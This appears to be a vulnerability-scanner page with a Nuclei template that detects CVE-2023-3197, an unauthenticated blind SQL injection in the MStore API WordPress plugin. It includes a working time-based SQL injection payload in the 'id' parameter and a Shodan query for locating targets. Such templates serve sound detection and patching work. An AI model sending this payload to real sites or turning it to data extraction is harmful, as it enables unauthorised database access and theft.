WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection
CVE-2023-3197
Verified
Description
MStore API plugin for WordPress up to version 4.0.1 contains an unauthenticated blind SQL injection caused by insufficient escaping of 'id' parameter in SQL queries, letting attackers execute arbitrary SQL commands without authentication, exploit requires sending crafted requests with malicious 'id' parameter.
Severity
Critical
Published Date
February 6, 2026
Template Author
shivam kamboj
CVE-2023-3197.yaml
id: CVE-2023-3197
info:
name: WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection
author: Shivam Kamboj
severity: critical
description: |
MStore API plugin for WordPress up to version 4.0.1 contains an unauthenticated blind SQL injection caused by insufficient escaping of 'id' parameter in SQL queries, letting attackers execute arbitrary SQL commands without authentication, exploit requires sending crafted requests with malicious 'id' parameter.
impact: |
Attackers can extract sensitive database information, potentially leading to data breach and compromise of the website.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-3197
- https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea854ccef7?source=cve
metadata:
verified: true
max-request: 2
shodan-query: html:"/mstore-api/"
tags: cve,cve2023,wordpress,wp-plugin,wp,sqli,mstore-api,wp,unauth,time-based
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json/api/flutter_multi_vendor/product-categories HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body,"has_children","display")'
condition: and
internal: true
- raw:
- |
@timeout: 15s
GET /wp-json/api/flutter_multi_vendor/product-categories?id=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))a) HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100fe729ea1c26921a6fcb9f88711d2c42b0c12dfb5c3c095e9987722ebe357c443022100ac750425f2141f04793b5009382fe8e2047e4a4faafbe7b3761fa95803c78387:922c64590222798bb761d5b6d8e72950Remediation Steps
Update to the latest version of the plugin where the vulnerability is fixed.